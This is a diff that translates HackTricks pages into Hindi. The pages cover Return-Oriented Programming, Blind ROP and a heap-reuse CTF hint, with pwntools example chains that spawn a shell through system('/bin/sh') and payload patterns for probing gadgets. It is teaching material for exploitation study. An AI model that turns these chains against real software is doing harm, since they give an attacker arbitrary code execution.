- It's possible to alloc some memory, write the desired value, free it, realloc it and as the previous data is still there, it will treated according the new expected struct in the chunk making possible to set the value ot get the flag.
|
||||
- कुछ मेमोरी आवंटित करना, इच्छित मान लिखना, इसे मुक्त करना, पुनः आवंटित करना संभव है और चूंकि पिछले डेटा अभी भी वहां है, इसे भाग में नए अपेक्षित संरचना के अनुसार माना जाएगा जिससे मान सेट करना या ध्वज प्राप्त करना संभव होगा।
|
||||
- [**https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html)
|
||||
- In this case it's needed to write 4 inside an specific chunk which is the first one being allocated (even after force freeing all of them). On each new allocated chunk it's number in the array index is stored. Then, allocate 4 chunks (+ the initialy allocated), the last one will have 4 inside of it, free them and force the reallocation of the first one, which will use the last chunk freed which is the one with 4 inside of it.
|
||||
- इस मामले में एक विशिष्ट भाग के अंदर 4 लिखना आवश्यक है जो पहला आवंटित किया जा रहा है (यहां तक कि सभी को बलपूर्वक मुक्त करने के बाद भी)। प्रत्येक नए आवंटित भाग में इसका संख्या सरणी अनुक्रमांक में संग्रहीत होता है। फिर, 4 भागों (+ प्रारंभ में आवंटित) को आवंटित करें, अंतिम में 4 होगा, उन्हें मुक्त करें और पहले को पुनः आवंटित करने के लिए मजबूर करें, जो अंतिम मुक्त भाग का उपयोग करेगा जिसमें 4 होगा।
|
||||
|
||||
@ -2,45 +2,44 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## **Basic Information**
|
||||
## **बुनियादी जानकारी**
|
||||
|
||||
**Return-Oriented Programming (ROP)** is an advanced exploitation technique used to circumvent security measures like **No-Execute (NX)** or **Data Execution Prevention (DEP)**. Instead of injecting and executing shellcode, an attacker leverages pieces of code already present in the binary or in loaded libraries, known as **"gadgets"**. Each gadget typically ends with a `ret` instruction and performs a small operation, such as moving data between registers or performing arithmetic operations. By chaining these gadgets together, an attacker can construct a payload to perform arbitrary operations, effectively bypassing NX/DEP protections.
|
||||
**Return-Oriented Programming (ROP)** एक उन्नत शोषण तकनीक है जिसका उपयोग **No-Execute (NX)** या **Data Execution Prevention (DEP)** जैसी सुरक्षा उपायों को दरकिनार करने के लिए किया जाता है। शेलकोड को इंजेक्ट और निष्पादित करने के बजाय, एक हमलावर बाइनरी या लोड की गई लाइब्रेरी में पहले से मौजूद कोड के टुकड़ों का लाभ उठाता है, जिसे **"gadgets"** के रूप में जाना जाता है। प्रत्येक gadget आमतौर पर `ret` निर्देश के साथ समाप्त होता है और एक छोटा ऑपरेशन करता है, जैसे रजिस्टरों के बीच डेटा को स्थानांतरित करना या अंकगणितीय संचालन करना। इन gadgets को एक साथ जोड़कर, एक हमलावर एक payload बना सकता है जो मनचाहे संचालन को निष्पादित करता है, प्रभावी रूप से NX/DEP सुरक्षा को दरकिनार करता है।
|
||||
|
||||
### How ROP Works
|
||||
### ROP कैसे काम करता है
|
||||
|
||||
1. **Control Flow Hijacking**: First, an attacker needs to hijack the control flow of a program, typically by exploiting a buffer overflow to overwrite a saved return address on the stack.
|
||||
2. **Gadget Chaining**: The attacker then carefully selects and chains gadgets to perform the desired actions. This could involve setting up arguments for a function call, calling the function (e.g., `system("/bin/sh")`), and handling any necessary cleanup or additional operations.
|
||||
3. **Payload Execution**: When the vulnerable function returns, instead of returning to a legitimate location, it starts executing the chain of gadgets.
|
||||
1. **नियंत्रण प्रवाह हाइजैकिंग**: सबसे पहले, एक हमलावर को एक प्रोग्राम के नियंत्रण प्रवाह को हाइजैक करना होता है, आमतौर पर एक बफर ओवरफ्लो का लाभ उठाकर स्टैक पर एक सहेजे गए लौटने के पते को ओवरराइट करके।
|
||||
2. **Gadget चेनिंग**: फिर हमलावर सावधानी से इच्छित क्रियाओं को करने के लिए gadgets का चयन और चेन करता है। इसमें एक फ़ंक्शन कॉल के लिए तर्क सेट करना, फ़ंक्शन को कॉल करना (जैसे, `system("/bin/sh")`), और किसी भी आवश्यक सफाई या अतिरिक्त संचालन को संभालना शामिल हो सकता है।
|
||||
3. **Payload निष्पादन**: जब संवेदनशील फ़ंक्शन लौटता है, तो यह एक वैध स्थान पर लौटने के बजाय gadgets की श्रृंखला को निष्पादित करना शुरू कर देता है।
|
||||
|
||||
### Tools
|
||||
### उपकरण
|
||||
|
||||
Typically, gadgets can be found using [**ROPgadget**](https://github.com/JonathanSalwan/ROPgadget), [**ropper**](https://github.com/sashs/Ropper) or directly from **pwntools** ([ROP](https://docs.pwntools.com/en/stable/rop/rop.html)).
|
||||
आमतौर पर, gadgets को [**ROPgadget**](https://github.com/JonathanSalwan/ROPgadget), [**ropper**](https://github.com/sashs/Ropper) या सीधे **pwntools** ([ROP](https://docs.pwntools.com/en/stable/rop/rop.html)) का उपयोग करके पाया जा सकता है।
|
||||
|
||||
## ROP Chain in x86 Example
|
||||
## x86 उदाहरण में ROP चेन
|
||||
|
||||
### **x86 (32-bit) Calling conventions**
|
||||
### **x86 (32-बिट) कॉलिंग सम्मेलन**
|
||||
|
||||
- **cdecl**: The caller cleans the stack. Function arguments are pushed onto the stack in reverse order (right-to-left). **Arguments are pushed onto the stack from right to left.**
|
||||
- **stdcall**: Similar to cdecl, but the callee is responsible for cleaning the stack.
|
||||
- **cdecl**: कॉलर स्टैक को साफ करता है। फ़ंक्शन तर्कों को स्टैक पर उल्टे क्रम में (दाएं से बाएं) धकेला जाता है। **तर्कों को स्टैक पर दाएं से बाएं धकेला जाता है।**
|
||||
- **stdcall**: cdecl के समान, लेकिन callee स्टैक को साफ करने के लिए जिम्मेदार होता है।
|
||||
|
||||
### **Finding Gadgets**
|
||||
### **Gadgets खोजना**
|
||||
|
||||
First, let's assume we've identified the necessary gadgets within the binary or its loaded libraries. The gadgets we're interested in are:
|
||||
पहले, चलिए मान लेते हैं कि हमने बाइनरी या इसके लोड की गई लाइब्रेरी में आवश्यक gadgets की पहचान कर ली है। जिन gadgets में हमारी रुचि है, वे हैं:
|
||||
|
||||
- `pop eax; ret`: This gadget pops the top value of the stack into the `EAX` register and then returns, allowing us to control `EAX`.
|
||||
- `pop ebx; ret`: Similar to the above, but for the `EBX` register, enabling control over `EBX`.
|
||||
- `mov [ebx], eax; ret`: Moves the value in `EAX` to the memory location pointed to by `EBX` and then returns. This is often called a **write-what-where gadget**.
|
||||
- Additionally, we have the address of the `system()` function available.
|
||||
- `pop eax; ret`: यह gadget स्टैक के शीर्ष मान को `EAX` रजिस्टर में पॉप करता है और फिर लौटता है, जिससे हमें `EAX` को नियंत्रित करने की अनुमति मिलती है।
|
||||
- `pop ebx; ret`: ऊपर के समान, लेकिन `EBX` रजिस्टर के लिए, जिससे `EBX` पर नियंत्रण प्राप्त होता है।
|
||||
- `mov [ebx], eax; ret`: `EAX` में मान को `EBX` द्वारा इंगित मेमोरी स्थान पर स्थानांतरित करता है और फिर लौटता है। इसे अक्सर **write-what-where gadget** कहा जाता है।
|
||||
- इसके अतिरिक्त, हमारे पास `system()` फ़ंक्शन का पता उपलब्ध है।
|
||||
|
||||
### **ROP Chain**
|
||||
### **ROP चेन**
|
||||
|
||||
Using **pwntools**, we prepare the stack for the ROP chain execution as follows aiming to execute `system('/bin/sh')`, note how the chain starts with:
|
||||
|
||||
1. A `ret` instruction for alignment purposes (optional)
|
||||
2. Address of `system` function (supposing ASLR disabled and known libc, more info in [**Ret2lib**](ret2lib/))
|
||||
3. Placeholder for the return address from `system()`
|
||||
4. `"/bin/sh"` string address (parameter for system function)
|
||||
**pwntools** का उपयोग करते हुए, हम ROP चेन निष्पादन के लिए स्टैक को इस प्रकार तैयार करते हैं जिसका लक्ष्य `system('/bin/sh')` को निष्पादित करना है, ध्यान दें कि चेन इस प्रकार शुरू होती है:
|
||||
|
||||
1. संरेखण उद्देश्यों के लिए एक `ret` निर्देश (वैकल्पिक)
|
||||
2. `system` फ़ंक्शन का पता (मान लेते हैं ASLR अक्षम है और libc ज्ञात है, अधिक जानकारी [**Ret2lib**](ret2lib/) में)
|
||||
3. `system()` से लौटने के पते के लिए प्लेसहोल्डर
|
||||
4. `"/bin/sh"` स्ट्रिंग का पता (system फ़ंक्शन के लिए पैरामीटर)
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -59,10 +58,10 @@ ret_gadget = 0xcafebabe # This could be any gadget that allows us to control th
|
||||
|
||||
# Construct the ROP chain
|
||||
rop_chain = [
|
||||
ret_gadget, # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues
|
||||
system_addr, # Address of system(). Execution will continue here after the ret gadget
|
||||
0x41414141, # Placeholder for system()'s return address. This could be the address of exit() or another safe place.
|
||||
bin_sh_addr # Address of "/bin/sh" string goes here, as the argument to system()
|
||||
ret_gadget, # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues
|
||||
system_addr, # Address of system(). Execution will continue here after the ret gadget
|
||||
0x41414141, # Placeholder for system()'s return address. This could be the address of exit() or another safe place.
|
||||
bin_sh_addr # Address of "/bin/sh" string goes here, as the argument to system()
|
||||
]
|
||||
|
||||
# Flatten the rop_chain for use
|
||||
@ -74,28 +73,26 @@ payload = fit({offset: rop_chain})
|
||||
p.sendline(payload)
|
||||
p.interactive()
|
||||
```
|
||||
|
||||
## ROP Chain in x64 Example
|
||||
|
||||
### **x64 (64-bit) Calling conventions**
|
||||
|
||||
- Uses the **System V AMD64 ABI** calling convention on Unix-like systems, where the **first six integer or pointer arguments are passed in the registers `RDI`, `RSI`, `RDX`, `RCX`, `R8`, and `R9`**. Additional arguments are passed on the stack. The return value is placed in `RAX`.
|
||||
- **Windows x64** calling convention uses `RCX`, `RDX`, `R8`, and `R9` for the first four integer or pointer arguments, with additional arguments passed on the stack. The return value is placed in `RAX`.
|
||||
- **Registers**: 64-bit registers include `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP`, and `R8` to `R15`.
|
||||
- **System V AMD64 ABI** कॉलिंग कन्वेंशन का उपयोग यूनिक्स-जैसे सिस्टम पर किया जाता है, जहाँ **पहले छह पूर्णांक या पॉइंटर तर्कों को रजिस्टर `RDI`, `RSI`, `RDX`, `RCX`, `R8`, और `R9`** में पास किया जाता है। अतिरिक्त तर्क स्टैक पर पास किए जाते हैं। रिटर्न वैल्यू `RAX` में रखी जाती है।
|
||||
- **Windows x64** कॉलिंग कन्वेंशन पहले चार पूर्णांक या पॉइंटर तर्कों के लिए `RCX`, `RDX`, `R8`, और `R9` का उपयोग करता है, जबकि अतिरिक्त तर्क स्टैक पर पास किए जाते हैं। रिटर्न वैल्यू `RAX` में रखी जाती है।
|
||||
- **Registers**: 64-बिट रजिस्टर में `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP`, और `R8` से `R15` शामिल हैं।
|
||||
|
||||
#### **Finding Gadgets**
|
||||
|
||||
For our purpose, let's focus on gadgets that will allow us to set the **RDI** register (to pass the **"/bin/sh"** string as an argument to **system()**) and then call the **system()** function. We'll assume we've identified the following gadgets:
|
||||
हमारे उद्देश्य के लिए, आइए उन गैजेट्स पर ध्यान केंद्रित करें जो हमें **RDI** रजिस्टर सेट करने की अनुमति देंगे (ताकि **system()** के लिए **"/bin/sh"** स्ट्रिंग को तर्क के रूप में पास किया जा सके) और फिर **system()** फ़ंक्शन को कॉल करें। हम मान लेते हैं कि हमने निम्नलिखित गैजेट्स की पहचान की है:
|
||||
|
||||
- **pop rdi; ret**: Pops the top value of the stack into **RDI** and then returns. Essential for setting our argument for **system()**.
|
||||
- **ret**: A simple return, useful for stack alignment in some scenarios.
|
||||
- **pop rdi; ret**: स्टैक के शीर्ष मान को **RDI** में पॉप करता है और फिर रिटर्न करता है। **system()** के लिए हमारे तर्क को सेट करने के लिए आवश्यक।
|
||||
- **ret**: एक साधारण रिटर्न, कुछ परिदृश्यों में स्टैक संरेखण के लिए उपयोगी।
|
||||
|
||||
And we know the address of the **system()** function.
|
||||
और हमें **system()** फ़ंक्शन का पता है।
|
||||
|
||||
### **ROP Chain**
|
||||
|
||||
Below is an example using **pwntools** to set up and execute a ROP chain aiming to execute **system('/bin/sh')** on **x64**:
|
||||
|
||||
नीचे एक उदाहरण है जो **pwntools** का उपयोग करके **system('/bin/sh')** को **x64** पर निष्पादित करने के लिए ROP चेन सेटअप और निष्पादित करता है:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -115,10 +112,10 @@ ret_gadget = 0xdeadbeefdeadbead # ret gadget for alignment, if necessary
|
||||
|
||||
# Construct the ROP chain
|
||||
rop_chain = [
|
||||
ret_gadget, # Alignment gadget, if needed
|
||||
pop_rdi_gadget, # pop rdi; ret
|
||||
bin_sh_addr, # Address of "/bin/sh" string goes here, as the argument to system()
|
||||
system_addr # Address of system(). Execution will continue here.
|
||||
ret_gadget, # Alignment gadget, if needed
|
||||
pop_rdi_gadget, # pop rdi; ret
|
||||
bin_sh_addr, # Address of "/bin/sh" string goes here, as the argument to system()
|
||||
system_addr # Address of system(). Execution will continue here.
|
||||
]
|
||||
|
||||
# Flatten the rop_chain for use
|
||||
@ -130,66 +127,65 @@ payload = fit({offset: rop_chain})
|
||||
p.sendline(payload)
|
||||
p.interactive()
|
||||
```
|
||||
इस उदाहरण में:
|
||||
|
||||
In this example:
|
||||
- हम **`pop rdi; ret`** गैजेट का उपयोग करते हैं ताकि **`RDI`** को **`"/bin/sh"`** के पते पर सेट किया जा सके।
|
||||
- **`RDI`** सेट करने के बाद हम सीधे **`system()`** पर कूदते हैं, जिसमें **system()** का पता श्रृंखला में होता है।
|
||||
- यदि लक्षित वातावरण की आवश्यकता हो, तो संरेखण के लिए **`ret_gadget`** का उपयोग किया जाता है, जो **x64** में कार्यों को कॉल करने से पहले उचित स्टैक संरेखण सुनिश्चित करने के लिए अधिक सामान्य है।
|
||||
|
||||
- We utilize the **`pop rdi; ret`** gadget to set **`RDI`** to the address of **`"/bin/sh"`**.
|
||||
- We directly jump to **`system()`** after setting **`RDI`**, with **system()**'s address in the chain.
|
||||
- **`ret_gadget`** is used for alignment if the target environment requires it, which is more common in **x64** to ensure proper stack alignment before calling functions.
|
||||
### स्टैक संरेखण
|
||||
|
||||
### Stack Alignment
|
||||
**x86-64 ABI** सुनिश्चित करता है कि जब **call instruction** निष्पादित होती है, तो **स्टैक 16-बाइट संरेखित** होता है। **LIBC**, प्रदर्शन को अनुकूलित करने के लिए, **SSE निर्देशों** (जैसे **movaps**) का उपयोग करता है जो इस संरेखण की आवश्यकता होती है। यदि स्टैक ठीक से संरेखित नहीं है (जिसका अर्थ है कि **RSP** 16 का गुणांक नहीं है), तो **ROP श्रृंखला** में **system** जैसे कार्यों के लिए कॉल विफल हो जाएंगे। इसे ठीक करने के लिए, अपने ROP श्रृंखला में **system** को कॉल करने से पहले बस एक **ret gadget** जोड़ें।
|
||||
|
||||
**The x86-64 ABI** ensures that the **stack is 16-byte aligned** when a **call instruction** is executed. **LIBC**, to optimize performance, **uses SSE instructions** (like **movaps**) which require this alignment. If the stack isn't aligned properly (meaning **RSP** isn't a multiple of 16), calls to functions like **system** will fail in a **ROP chain**. To fix this, simply add a **ret gadget** before calling **system** in your ROP chain.
|
||||
|
||||
## x86 vs x64 main difference
|
||||
## x86 बनाम x64 मुख्य अंतर
|
||||
|
||||
> [!TIP]
|
||||
> Since **x64 uses registers for the first few arguments,** it often requires fewer gadgets than x86 for simple function calls, but finding and chaining the right gadgets can be more complex due to the increased number of registers and the larger address space. The increased number of registers and the larger address space in **x64** architecture provide both opportunities and challenges for exploit development, especially in the context of Return-Oriented Programming (ROP).
|
||||
> चूंकि **x64 पहले कुछ तर्कों के लिए रजिस्टर का उपयोग करता है,** इसलिए यह अक्सर सरल कार्य कॉल के लिए x86 की तुलना में कम गैजेट की आवश्यकता होती है, लेकिन सही गैजेट खोजने और श्रृंखला में जोड़ना अधिक जटिल हो सकता है क्योंकि रजिस्टर की संख्या बढ़ जाती है और पता स्थान बड़ा होता है। **x64** आर्किटेक्चर में रजिस्टर की बढ़ी हुई संख्या और बड़े पता स्थान ने विशेष रूप से Return-Oriented Programming (ROP) के संदर्भ में शोषण विकास के लिए अवसर और चुनौतियाँ दोनों प्रदान की हैं।
|
||||
|
||||
## ROP chain in ARM64 Example
|
||||
## ARM64 उदाहरण में ROP श्रृंखला
|
||||
|
||||
### **ARM64 Basics & Calling conventions**
|
||||
### **ARM64 मूल बातें और कॉलिंग सम्मेलन**
|
||||
|
||||
Check the following page for this information:
|
||||
इस जानकारी के लिए निम्नलिखित पृष्ठ देखें:
|
||||
|
||||
{{#ref}}
|
||||
../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
|
||||
{{#endref}}
|
||||
|
||||
## Protections Against ROP
|
||||
## ROP के खिलाफ सुरक्षा
|
||||
|
||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **&** [**PIE**](../common-binary-protections-and-bypasses/pie/): These protections makes harder the use of ROP as the addresses of the gadgets changes between execution.
|
||||
- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/): In of a BOF, it's needed to bypass the stores stack canary to overwrite return pointers to abuse a ROP chain
|
||||
- **Lack of Gadgets**: If there aren't enough gadgets it won't be possible to generate a ROP chain.
|
||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **और** [**PIE**](../common-binary-protections-and-bypasses/pie/): ये सुरक्षा ROP के उपयोग को कठिन बनाती हैं क्योंकि गैजेट के पते निष्पादन के बीच बदलते हैं।
|
||||
- [**स्टैक कैनरीज़**](../common-binary-protections-and-bypasses/stack-canaries/): BOF के मामले में, ROP श्रृंखला का दुरुपयोग करने के लिए लौटने वाले पॉइंटर्स को ओवरराइट करने के लिए स्टोर स्टैक कैनरी को बायपास करना आवश्यक है।
|
||||
- **गैजेट्स की कमी**: यदि पर्याप्त गैजेट्स नहीं हैं, तो ROP श्रृंखला उत्पन्न करना संभव नहीं होगा।
|
||||
|
||||
## ROP based techniques
|
||||
## ROP आधारित तकनीकें
|
||||
|
||||
Notice that ROP is just a technique in order to execute arbitrary code. Based in ROP a lot of Ret2XXX techniques were developed:
|
||||
ध्यान दें कि ROP केवल मनमाने कोड को निष्पादित करने की एक तकनीक है। ROP के आधार पर कई Ret2XXX तकनीकें विकसित की गई हैं:
|
||||
|
||||
- **Ret2lib**: Use ROP to call arbitrary functions from a loaded library with arbitrary parameters (usually something like `system('/bin/sh')`.
|
||||
- **Ret2lib**: मनमाने पैरामीटर के साथ लोड की गई लाइब्रेरी से मनमाने कार्यों को कॉल करने के लिए ROP का उपयोग करें (आमतौर पर कुछ ऐसा जैसे `system('/bin/sh')`।
|
||||
|
||||
{{#ref}}
|
||||
ret2lib/
|
||||
{{#endref}}
|
||||
|
||||
- **Ret2Syscall**: Use ROP to prepare a call to a syscall, e.g. `execve`, and make it execute arbitrary commands.
|
||||
- **Ret2Syscall**: ROP का उपयोग करके syscall के लिए कॉल तैयार करें, जैसे `execve`, और इसे मनमाने आदेश निष्पादित करने के लिए बनाएं।
|
||||
|
||||
{{#ref}}
|
||||
rop-syscall-execv/
|
||||
{{#endref}}
|
||||
|
||||
- **EBP2Ret & EBP Chaining**: The first will abuse EBP instead of EIP to control the flow and the second is similar to Ret2lib but in this case the flow is controlled mainly with EBP addresses (although t's also needed to control EIP).
|
||||
- **EBP2Ret और EBP चेनिंग**: पहला EIP के बजाय EBP का दुरुपयोग करेगा ताकि प्रवाह को नियंत्रित किया जा सके और दूसरा Ret2lib के समान है लेकिन इस मामले में प्रवाह मुख्य रूप से EBP पते के साथ नियंत्रित होता है (हालांकि EIP को भी नियंत्रित करना आवश्यक है)।
|
||||
|
||||
{{#ref}}
|
||||
../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md
|
||||
{{#endref}}
|
||||
|
||||
## Other Examples & References
|
||||
## अन्य उदाहरण और संदर्भ
|
||||
|
||||
- [https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions](https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions)
|
||||
- [https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html)
|
||||
- 64 bit, Pie and nx enabled, no canary, overwrite RIP with a `vsyscall` address with the sole purpose or return to the next address in the stack which will be a partial overwrite of the address to get the part of the function that leaks the flag
|
||||
- 64 बिट, Pie और nx सक्षम, कोई कैनरी नहीं, RIP को `vsyscall` पते के साथ ओवरराइट करें जिसका एकमात्र उद्देश्य स्टैक में अगले पते पर लौटना है जो फ्लैग लीक करने वाले कार्य के भाग का आंशिक ओवरराइट होगा
|
||||
- [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
|
||||
- arm64, no ASLR, ROP gadget to make stack executable and jump to shellcode in stack
|
||||
- arm64, कोई ASLR नहीं, स्टैक में शेलकोड पर कूदने और स्टैक को निष्पादित करने के लिए ROP गैजेट
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -4,113 +4,113 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
The goal of this attack is to be able to **abuse a ROP via a buffer overflow without any information about the vulnerable binary**.\
|
||||
This attack is based on the following scenario:
|
||||
इस हमले का लक्ष्य है **बिना किसी जानकारी के कमजोर बाइनरी के माध्यम से ROP का दुरुपयोग करना**।\
|
||||
यह हमला निम्नलिखित परिदृश्य पर आधारित है:
|
||||
|
||||
- A stack vulnerability and knowledge of how to trigger it.
|
||||
- A server application that restarts after a crash.
|
||||
- एक स्टैक भेद्यता और इसे सक्रिय करने का ज्ञान।
|
||||
- एक सर्वर एप्लिकेशन जो क्रैश के बाद पुनः प्रारंभ होता है।
|
||||
|
||||
## Attack
|
||||
|
||||
### **1. Find vulnerable offset** sending one more character until a malfunction of the server is detected
|
||||
### **1. कमजोर ऑफसेट खोजें** एक और चरित्र भेजकर जब तक सर्वर में खराबी का पता नहीं चलता
|
||||
|
||||
### **2. Brute-force canary** to leak it
|
||||
### **2. ब्रूट-फोर्स कैनरी** इसे लीक करने के लिए
|
||||
|
||||
### **3. Brute-force stored RBP and RIP** addresses in the stack to leak them
|
||||
### **3. स्टोर किए गए RBP और RIP** पते को लीक करने के लिए ब्रूट-फोर्स करें
|
||||
|
||||
You can find more information about these processes [here (BF Forked & Threaded Stack Canaries)](../common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md) and [here (BF Addresses in the Stack)](../common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md).
|
||||
आप इन प्रक्रियाओं के बारे में अधिक जानकारी [यहाँ (BF Forked & Threaded Stack Canaries)](../common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md) और [यहाँ (BF Addresses in the Stack)](../common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md) पा सकते हैं।
|
||||
|
||||
### **4. Find the stop gadget**
|
||||
### **4. स्टॉप गैजेट खोजें**
|
||||
|
||||
This gadget basically allows to confirm that something interesting was executed by the ROP gadget because the execution didn't crash. Usually, this gadget is going to be something that **stops the execution** and it's positioned at the end of the ROP chain when looking for ROP gadgets to confirm a specific ROP gadget was executed
|
||||
यह गैजेट मूल रूप से यह पुष्टि करने की अनुमति देता है कि ROP गैजेट द्वारा कुछ दिलचस्प निष्पादित किया गया था क्योंकि निष्पादन क्रैश नहीं हुआ। आमतौर पर, यह गैजेट कुछ ऐसा होगा जो **निष्पादन को रोकता है** और यह ROP श्रृंखला के अंत में स्थित होता है जब किसी विशिष्ट ROP गैजेट के निष्पादन की पुष्टि करने के लिए ROP गैजेट्स की खोज की जाती है।
|
||||
|
||||
### **5. Find BROP gadget**
|
||||
### **5. BROP गैजेट खोजें**
|
||||
|
||||
This technique uses the [**ret2csu**](ret2csu.md) gadget. And this is because if you access this gadget in the middle of some instructions you get gadgets to control **`rsi`** and **`rdi`**:
|
||||
यह तकनीक [**ret2csu**](ret2csu.md) गैजेट का उपयोग करती है। और इसका कारण यह है कि यदि आप कुछ निर्देशों के बीच में इस गैजेट तक पहुँचते हैं, तो आपको **`rsi`** और **`rdi`** को नियंत्रित करने के लिए गैजेट मिलते हैं:
|
||||
|
||||
<figure><img src="../../images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
||||
|
||||
These would be the gadgets:
|
||||
ये गैजेट होंगे:
|
||||
|
||||
- `pop rsi; pop r15; ret`
|
||||
- `pop rdi; ret`
|
||||
|
||||
Notice how with those gadgets it's possible to **control 2 arguments** of a function to call.
|
||||
ध्यान दें कि इन गैजेट्स के साथ एक फ़ंक्शन को कॉल करने के लिए **2 तर्कों** को **नियंत्रित करना संभव है**।
|
||||
|
||||
Also, notice that the ret2csu gadget has a **very unique signature** because it's going to be poping 6 registers from the stack. SO sending a chain like:
|
||||
इसके अलावा, ध्यान दें कि ret2csu गैजेट का **बहुत अद्वितीय हस्ताक्षर** है क्योंकि यह स्टैक से 6 रजिस्टर को पॉप करेगा। इसलिए एक श्रृंखला भेजना जैसे:
|
||||
|
||||
`'A' * offset + canary + rbp + ADDR + 0xdead * 6 + STOP`
|
||||
|
||||
If the **STOP is executed**, this basically means an **address that is popping 6 registers** from the stack was used. Or that the address used was also a STOP address.
|
||||
यदि **STOP निष्पादित होता है**, तो इसका अर्थ है कि **एक पता जो स्टैक से 6 रजिस्टर को पॉप कर रहा है** का उपयोग किया गया था। या कि उपयोग किया गया पता भी एक STOP पता था।
|
||||
|
||||
In order to **remove this last option** a new chain like the following is executed and it must not execute the STOP gadget to confirm the previous one did pop 6 registers:
|
||||
इस अंतिम विकल्प को **हटाने के लिए** एक नई श्रृंखला जैसे निम्नलिखित निष्पादित की जाती है और इसे पिछले एक की पुष्टि करने के लिए STOP गैजेट को निष्पादित नहीं करना चाहिए:
|
||||
|
||||
`'A' * offset + canary + rbp + ADDR`
|
||||
|
||||
Knowing the address of the ret2csu gadget, it's possible to **infer the address of the gadgets to control `rsi` and `rdi`**.
|
||||
ret2csu गैजेट के पते को जानकर, यह संभव है कि **`rsi` और `rdi` को नियंत्रित करने के लिए गैजेट्स के पते का अनुमान लगाया जा सके**।
|
||||
|
||||
### 6. Find PLT
|
||||
### 6. PLT खोजें
|
||||
|
||||
The PLT table can be searched from 0x400000 or from the **leaked RIP address** from the stack (if **PIE** is being used). The **entries** of the table are **separated by 16B** (0x10B), and when one function is called the server doesn't crash even if the arguments aren't correct. Also, checking the address of a entry in the **PLT + 6B also doesn't crash** as it's the first code executed.
|
||||
PLT तालिका को 0x400000 से या स्टैक से **लीक किए गए RIP पते** से खोजा जा सकता है (यदि **PIE** का उपयोग किया जा रहा है)। तालिका के **प्रविष्टियाँ** **16B** (0x10B) द्वारा **अलग** होती हैं, और जब एक फ़ंक्शन को कॉल किया जाता है तो सर्वर क्रैश नहीं होता है भले ही तर्क सही न हों। इसके अलावा, एक प्रविष्टि के पते की जाँच करना **PLT + 6B भी क्रैश नहीं होता** क्योंकि यह पहला कोड है जो निष्पादित होता है।
|
||||
|
||||
Therefore, it's possible to find the PLT table checking the following behaviours:
|
||||
इसलिए, निम्नलिखित व्यवहारों की जाँच करके PLT तालिका को खोजना संभव है:
|
||||
|
||||
- `'A' * offset + canary + rbp + ADDR + STOP` -> no crash
|
||||
- `'A' * offset + canary + rbp + (ADDR + 0x6) + STOP` -> no crash
|
||||
- `'A' * offset + canary + rbp + (ADDR + 0x10) + STOP` -> no crash
|
||||
- `'A' * offset + canary + rbp + ADDR + STOP` -> कोई क्रैश नहीं
|
||||
- `'A' * offset + canary + rbp + (ADDR + 0x6) + STOP` -> कोई क्रैश नहीं
|
||||
- `'A' * offset + canary + rbp + (ADDR + 0x10) + STOP` -> कोई क्रैश नहीं
|
||||
|
||||
### 7. Finding strcmp
|
||||
### 7. strcmp खोजें
|
||||
|
||||
The **`strcmp`** function sets the register **`rdx`** to the length of the string being compared. Note that **`rdx`** is the **third argument** and we need it to be **bigger than 0** in order to later use `write` to leak the program.
|
||||
**`strcmp`** फ़ंक्शन रजिस्टर **`rdx`** को तुलना की जा रही स्ट्रिंग की लंबाई पर सेट करता है। ध्यान दें कि **`rdx`** **तीसरा तर्क** है और हमें इसे **0 से बड़ा** होना चाहिए ताकि बाद में `write` का उपयोग करके प्रोग्राम को लीक किया जा सके।
|
||||
|
||||
It's possible to find the location of **`strcmp`** in the PLT based on its behaviour using the fact that we can now control the 2 first arguments of functions:
|
||||
हम अब फ़ंक्शनों के पहले 2 तर्कों को नियंत्रित कर सकते हैं, इस व्यवहार के आधार पर **`strcmp`** के स्थान को PLT में खोजना संभव है:
|
||||
|
||||
- strcmp(\<non read addr>, \<non read addr>) -> crash
|
||||
- strcmp(\<non read addr>, \<read addr>) -> crash
|
||||
- strcmp(\<read addr>, \<non read addr>) -> crash
|
||||
- strcmp(\<read addr>, \<read addr>) -> no crash
|
||||
- strcmp(\<non read addr>, \<non read addr>) -> क्रैश
|
||||
- strcmp(\<non read addr>, \<read addr>) -> क्रैश
|
||||
- strcmp(\<read addr>, \<non read addr>) -> क्रैश
|
||||
- strcmp(\<read addr>, \<read addr>) -> कोई क्रैश नहीं
|
||||
|
||||
